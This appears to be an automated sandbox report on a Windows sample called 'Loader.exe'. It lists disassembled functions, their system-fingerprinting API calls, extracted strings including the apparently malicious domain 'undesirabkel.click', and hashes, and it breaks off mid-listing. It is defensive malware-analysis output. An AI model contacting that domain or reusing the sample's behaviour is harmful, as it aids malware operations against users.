Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!
API String ID: 3683891980-3313369819
Opcode ID: 9792c80dd348801eecd007fc93f1f96c7dc5ba6b8aba2c4f940e811e9f168d88
Instruction ID: 2c8c67c923f8abea63e0c5acba1199876ab9ae048cb9026db5880797b8346bfe
Opcode Fuzzy Hash: 9792c80dd348801eecd007fc93f1f96c7dc5ba6b8aba2c4f940e811e9f168d88
Instruction Fuzzy Hash: DF51CCB1D013289FCB00DF94E895BAEBBB4FF88314F144129E8196B391D776AA05CF91

Function 0093BA82 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0093B983,?,?,00000000,00000000,00000000,?), ref: 0093BAA7

Strings

MOC, xrefs: 0093BAB9
RCC, xrefs: 0093BAC1

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4e6b1278c7bc1c3d829e8b879d36e6f657bb1c67b895d14ab7340f453aba3e98
Instruction ID: 8754b042d05c3489bf7e02cc43a8e8b2cfffb5147f530bd7ec9fee8c65888da6
Opcode Fuzzy Hash: 4e6b1278c7bc1c3d829e8b879d36e6f657bb1c67b895d14ab7340f453aba3e98
Instruction Fuzzy Hash: 87415871900209AFCF15DF98CC81AEEBBB9FF88304F188199FA18A7265D7359950DF51

Function 00924030 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00924066
std::_Lockit::~_Lockit.LIBCPMT ref: 009241A2

Part of subcall function 0092AD65: _Yarn.LIBCPMT ref: 0092AD85
Part of subcall function 0092AD65: _Yarn.LIBCPMT ref: 0092ADA9

Strings

bad locale name, xrefs: 009240E6

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name
API String ID: 2070049627-1405518554
Opcode ID: 4cacefba4058a64550a9637af6f63c2dfdb8b820f03a386354149582db969436
Instruction ID: c8289a0468b655769ae5f4dea8beac2e48f9bcdf66091187f5061c700b15c386
Opcode Fuzzy Hash: 4cacefba4058a64550a9637af6f63c2dfdb8b820f03a386354149582db969436
Instruction Fuzzy Hash: 07417FF1A007559BDB10DF69E905717BBE8BF54704F044628E4099B781E3BAE518CFE2

Function 0093B2EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0093B565

Strings

csm, xrefs: 0093B5F8
csm, xrefs: 0093B587

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: f35447e0e9121cb176504f97d0d1965c5df4eeec83a536cdc8773953517f40c4
Instruction ID: 2f05aa9b262c13c6cd326c1573758a2f8ce1a08a24b5f72f5dd8eeea09436975
Opcode Fuzzy Hash: f35447e0e9121cb176504f97d0d1965c5df4eeec83a536cdc8773953517f40c4
Instruction Fuzzy Hash: CF31E472400219DFCF269F50CC459AE7B6AFF09329F18465BFA5449122C332CCA2DF82

Function 0092B921 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0092B9A9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0092B9CE

Part of subcall function 009306FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,0092F444,00000000,?,?,?,0092F444,00923EEA,009575AC,00923EEA), ref: 0093075D

Part of subcall function 00938443: IsProcessorFeaturePresent.KERNEL32(00000017,0093387B,?,?,?,?,00000000,?,?,?,0092B69C,0092B5C9,00000000,?,?,0092B5C9), ref: 0093845F

Strings

csm, xrefs: 0092B95D

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 81eea1150cc99281415d13fe518b6ec8939fdac3c9ec56752976c9aadca91486
Instruction ID: c1fdad9575050c7c7ab652585485c6486fc872a1e3c91a985e0ceb38f999c8ed
Opcode Fuzzy Hash: 81eea1150cc99281415d13fe518b6ec8939fdac3c9ec56752976c9aadca91486
Instruction Fuzzy Hash: 1A21BE35D0022C9BCF24DF95E946BAEB7F8EF84718F580419E605AB259CB70AD85CB81

Function 0092B555 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00922853

Strings

ios_base::badbit set, xrefs: 00922830
bad array new length, xrefs: 00922806

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 996667ae5b28d0e7d63c86e348d6a810d838570aff386738151490293b2813a1
Instruction ID: 894123aaa90aa1be8cdcfc3b9e87d08cc44c5be635e49fef0655ad7d44b9f0b7
Opcode Fuzzy Hash: 996667ae5b28d0e7d63c86e348d6a810d838570aff386738151490293b2813a1
Instruction Fuzzy Hash: 7501D4F26193019BD714DF58D826B1B7BE8EF84318F00892CF4498B340E771E805CB81

Function 009227F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 009306FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,0092F444,00000000,?,?,?,0092F444,00923EEA,009575AC,00923EEA), ref: 0093075D

___std_exception_copy.LIBVCRUNTIME ref: 00922853

Strings

ios_base::badbit set, xrefs: 00922830
bad array new length, xrefs: 00922806

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: c7a12b1e71260d0ee332d3fe1af2c3ead70afa979aabf827d73fee3ca2ce7b4b
Instruction ID: 6f8afbe67d0b4a95431eee5b9a03c150ba1d54cf7cefda6945ab1cbad1ac3e03
Opcode Fuzzy Hash: c7a12b1e71260d0ee332d3fe1af2c3ead70afa979aabf827d73fee3ca2ce7b4b
Instruction Fuzzy Hash: DAF01CF1619300ABD314EF59DC16B0BBBE4EB85319F01881CF5889B301E3B5D449CB92

Analysis Process: Loader.exePID: 7408, Parent PID: 7332COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.8%
Total number of Nodes:	220
Total number of Limit Nodes:	14

Executed Functions

Function 004396A0 Relevance: 21.6, APIs: 11, Strings: 1, Instructions: 644
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044468C,00000000,00000001,0044467C,00000000), ref: 004399AB
SysAllocString.OLEAUT32(C197C794), ref: 00439A18
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439A56
SysAllocString.OLEAUT32(B2ECBC14), ref: 00439AD9
SysAllocString.OLEAUT32(77B37587), ref: 00439B6B
VariantInit.OLEAUT32(BFBEBDA4), ref: 00439BDB
VariantClear.OLEAUT32(BFBEBDA4), ref: 00439D18
SysFreeString.OLEAUT32(?), ref: 00439D3C
SysFreeString.OLEAUT32(?), ref: 00439D42
SysFreeString.OLEAUT32(00000000), ref: 00439D4F
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00439D8B

Strings

&v, xrefs: 00439851

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: &v
API String ID: 2573436264-996230610
Opcode ID: c76a795488dcaea1087b38c4a21f4ec032b56208ede1dfedf05bb0fa22a11b63
Instruction ID: 2eae229d14a92933328e5725d2ae13478f160aa11d56bd9171fe0ff53e23d803
Opcode Fuzzy Hash: c76a795488dcaea1087b38c4a21f4ec032b56208ede1dfedf05bb0fa22a11b63
Instruction Fuzzy Hash: 4E22F072A083409FD714CF29C845B5BBBE6EFC9324F18992DE5958B381DB78D805CB86

Function 00415200 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 927
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

("D-, xrefs: 00415CF1
iiat, xrefs: 00415947
8"D-, xrefs: 00415D41
^123, xrefs: 004152B1
eH, xrefs: 00415952
54+*, xrefs: 00415595
BxBG, xrefs: 00415926
U, xrefs: 00415C0F

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ("D-$54+*$8"D-$BxBG$U$^123$eH$iiat
API String ID: 0-2540653402
Opcode ID: ece7e7512deb2f3d0905023b68c116b96d26401af29463b746300dd7e0310da3
Instruction ID: 07982f48521f8885066ce7338b4bbbb716ab1cb9c22f471718dbf28f94ce43d7
Opcode Fuzzy Hash: ece7e7512deb2f3d0905023b68c116b96d26401af29463b746300dd7e0310da3
Instruction Fuzzy Hash: 5A5213B5909340CBD7249F24D895BEF77E2FFC5314F08492EE48A8B291E7389841CB96

Function 00423D40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00423E29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00423EAB

Strings

0M9O, xrefs: 0042403B
y{, xrefs: 00424053
5]=_, xrefs: 0042401B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 0M9O$5]=_$y{
API String ID: 237503144-4183424673
Opcode ID: d1574f89f3c02ea997317bd1e207d191307d53352c373396b29da17b6e90c07b
Instruction ID: 3637a5695bacef2f7ae8854d885bc1190330819d14954c5e0cbca8e40a0a3ce6
Opcode Fuzzy Hash: d1574f89f3c02ea997317bd1e207d191307d53352c373396b29da17b6e90c07b
Instruction Fuzzy Hash: 0A02DAB46183409FE314DF65E88166FBBE1FBD1308F44892DE5C58B391EB788906CB56

Function 004085F0 Relevance: 7.7, APIs: 5, Instructions: 170
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408614
GetCurrentThreadId.KERNEL32 ref: 0040861E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408696
GetForegroundWindow.USER32 ref: 00408761

Part of subcall function 0040B470: FreeLibrary.KERNEL32(004087D9), ref: 0040B476
Part of subcall function 0040B470: FreeLibrary.KERNEL32 ref: 0040B497

ExitProcess.KERNEL32 ref: 004087F2

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 21594b46850de91b9d7f1fcd097cf3db95484819d6bbf04f7650915a64ff1750
Instruction ID: e8cd0a5b1b6602d458645168f9022d0593551acc0d95c8fd4e55ee87bae5c504
Opcode Fuzzy Hash: 21594b46850de91b9d7f1fcd097cf3db95484819d6bbf04f7650915a64ff1750
Instruction Fuzzy Hash: 82418DB3B003004BD3186F798D15766B6C79BD5320F1E863EA895EB3DAEE789C054245

Function 0042C9D4 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

OEpz, xrefs: 0042CF0A
QFD3, xrefs: 0042CCBF
rj, xrefs: 0042CDAD

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: OEpz$QFD3$rj
API String ID: 0-3969983622
Opcode ID: 578df49152ec6977c0559d99d18d55f56bbe5c8ef7ba284d461e40d52f2b5091
Instruction ID: 76e3eab801afa7748f5422476167f4aa7a66d4a79f7629f79f88f53e2f4321bc
Opcode Fuzzy Hash: 578df49152ec6977c0559d99d18d55f56bbe5c8ef7ba284d461e40d52f2b5091
Instruction Fuzzy Hash: AEA1047060C3D18ED3298F2994A03BBBFE19FA7304F58586EE0C997392D7798905CB56

Function 0042CCA2 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CD9C

Strings

OEpz, xrefs: 0042CF0A
QFD3, xrefs: 0042CCBF
rj, xrefs: 0042CDAD

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: OEpz$QFD3$rj
API String ID: 3960555810-3969983622
Opcode ID: 9168ce1b262d27504dede28803dc24f1866231d49f4ce974e861d94e91dd2d20
Instruction ID: 843eda79264cd3607644ba2c6e9f51ffbc4283e049ce5635c5debb878d24e918
Opcode Fuzzy Hash: 9168ce1b262d27504dede28803dc24f1866231d49f4ce974e861d94e91dd2d20
Instruction Fuzzy Hash: E591157060C3D18ED3298F2994A03EBBFE1AF97304F58486EE0C997392D7798905CB56

Function 00409370 Relevance: 5.4, Strings: 4, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,-, xrefs: 00409763
g*V9, xrefs: 00409500
DCA3EE5DEEF2F4191441EDD8E05CE3DA, xrefs: 0040943E
T, xrefs: 004095C1

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ,-$DCA3EE5DEEF2F4191441EDD8E05CE3DA$T$g*V9
API String ID: 0-1823193842
Opcode ID: 86bf961c395ed7b7e07ea05ad14cc24c126058a6d268732374085c02ea76dcbd
Instruction ID: a0ce2b4ea5d82b238d504246632dfdecb4304a147a1c54da40f31a80d191d4bf
Opcode Fuzzy Hash: 86bf961c395ed7b7e07ea05ad14cc24c126058a6d268732374085c02ea76dcbd
Instruction Fuzzy Hash: ADC135B16083408BD718CF35C891A6BBBE5EFC2304F14496DE5D29B392DB38D90ACB56

Function 00433B7A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433BC8
GetSystemMetrics.USER32 ref: 00433BD7

Strings

, xrefs: 00433CAB

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 66b7d6ddbbaea78e25287b155da9d8360f6552616883599e2b0a62f41b2dcca0
Instruction ID: 01f348f677623f89764fea340cc94f5095fd4e31d5590f1ad9612ee75e4100da
Opcode Fuzzy Hash: 66b7d6ddbbaea78e25287b155da9d8360f6552616883599e2b0a62f41b2dcca0
Instruction Fuzzy Hash: E05172B4D142089FCB40EFACD98569DBBF0BB88300F11852AE498E7310D774A984CF96

Function 0040D7CF Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 338COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040D7DF

Strings

undesirabkel.click, xrefs: 0040DB91
x~, xrefs: 0040DA4A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Uninitialize
String ID: undesirabkel.click$x~
API String ID: 3861434553-2095430387
Opcode ID: e28907237b4d3a91ec5e118e2f9312d913e820380ba1de72427fa36cd9a4d49b
Instruction ID: 6343ddfc659097a6b1acf70417bf2a81d4440c70e9b0de2d3dfcc7ed75506984
Opcode Fuzzy Hash: e28907237b4d3a91ec5e118e2f9312d913e820380ba1de72427fa36cd9a4d49b
Instruction Fuzzy Hash: 32B146B1A047808FD319CF2AC4E0663BFA2EF9730571981ADC8D65F79AC7399806CB55

Function 00410A57 Relevance: 2.4, APIs: 1, Instructions: 885COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf30f5bda6a5b1f22e383a34f2d374bcf5c2a5ffd3afd8456c42b1e5df0951ff
Instruction ID: 72290171dc64d7e4f27391859bf3f99b55d54925dc59b80e2ac98bdd845427b2
Opcode Fuzzy Hash: bf30f5bda6a5b1f22e383a34f2d374bcf5c2a5ffd3afd8456c42b1e5df0951ff
Instruction Fuzzy Hash: D472E575A04B408FD714DF38C5853AABBE2AF99314F088A3ED5EB87791D678E445CB02

Function 0043EBA0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441BF8,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043EBCE

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043F39E Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

@, xrefs: 0043F4EA

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: d029721911ace6ae7146d635cd2610f792fc7e2dd43cd493b89f1baae024793e
Instruction ID: ac99ad69f4e146c84b4f67b549d234f9fa435a805a225365c348144745e62db1
Opcode Fuzzy Hash: d029721911ace6ae7146d635cd2610f792fc7e2dd43cd493b89f1baae024793e
Instruction Fuzzy Hash: 9C51BEB4D112159BEB14CF54C8907BFB7B2FFA9315F04612DD4416B3A0EB785C0A8B98

Function 00441DA0 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

@, xrefs: 00441E51

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 00ccdfaef0cf493359b405ba2665aa19c664aa536cebf78614738aaa438344e7
Instruction ID: 65ca1ec6d4672f8839795e63c8614bf8e8fa17c57707b6a32643269015e7e6e9
Opcode Fuzzy Hash: 00ccdfaef0cf493359b405ba2665aa19c664aa536cebf78614738aaa438344e7
Instruction Fuzzy Hash: 9A4158B49083109BEB10CF24D88072BB7E1FF99368F24852DEA88573A1E7389D44C7C6

Function 00440CE0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 00440D49

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: b277768eaef66f0637a864381fd791a7c7a7d3d97be0c2acc1eb4938501a7204
Instruction ID: 9fac65509ee92f571f5b79e95c1ad94962471f478490a82abc777c74c6c74bd9
Opcode Fuzzy Hash: b277768eaef66f0637a864381fd791a7c7a7d3d97be0c2acc1eb4938501a7204
Instruction Fuzzy Hash: 9A31EEB18083049BD314DF98D8C066BBBF5EB99314F14892DE79987280E335A818CB9A

Function 00440E00 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b8b0fe984b0c526368686a946928a16b95041f210f520b4daf9bb1128f79edd
Instruction ID: c62094c7f2aec0b4591fe89b4ffec96fa28a786c068cd393fffb3f8dac1334b7
Opcode Fuzzy Hash: 9b8b0fe984b0c526368686a946928a16b95041f210f520b4daf9bb1128f79edd
Instruction Fuzzy Hash: 0D7127756082419BEB24DF28C890A3FB3E2EFD9750F19C42EE68587365E73498609786

Function 00439490 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 76f77a49fba37e77a617a0d652d585f641a783687e7745c1783b0e6500cdef52
Instruction ID: 6b3e4b7f11ac291a21e261308eef6cd7443abca3de393b842f6f559da3e6bac2
Opcode Fuzzy Hash: 76f77a49fba37e77a617a0d652d585f641a783687e7745c1783b0e6500cdef52
Instruction Fuzzy Hash: 8051CE263492116BD7018B25CC81A7BB7EAE7DE360F14952EE5C083342C2BCDC82D79E

Function 0042C3AE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C3E5
GetComputerNameExA.KERNELBASE(00000006,-!B,00000100), ref: 0042C4AD

Strings

-!B, xrefs: 0042C45E
tidc, xrefs: 0042C40B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: -!B$tidc
API String ID: 2904949787-476040656
Opcode ID: 57dd9652ca8a2e1dfdf703eb478245f04d1e764e2e6b3a4a6fe835d72092e874
Instruction ID: 0cb94904c914ad7ae8bd8e1ac9fe588995fa1e3a88885b05c0f925f6698cc2a9
Opcode Fuzzy Hash: 57dd9652ca8a2e1dfdf703eb478245f04d1e764e2e6b3a4a6fe835d72092e874
Instruction Fuzzy Hash: E321F17420C3918AD7218F39D8507EBBBE6ABE6304F94885ED0C8C7292DA798506C716

Function 0042C3AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71
COMMON

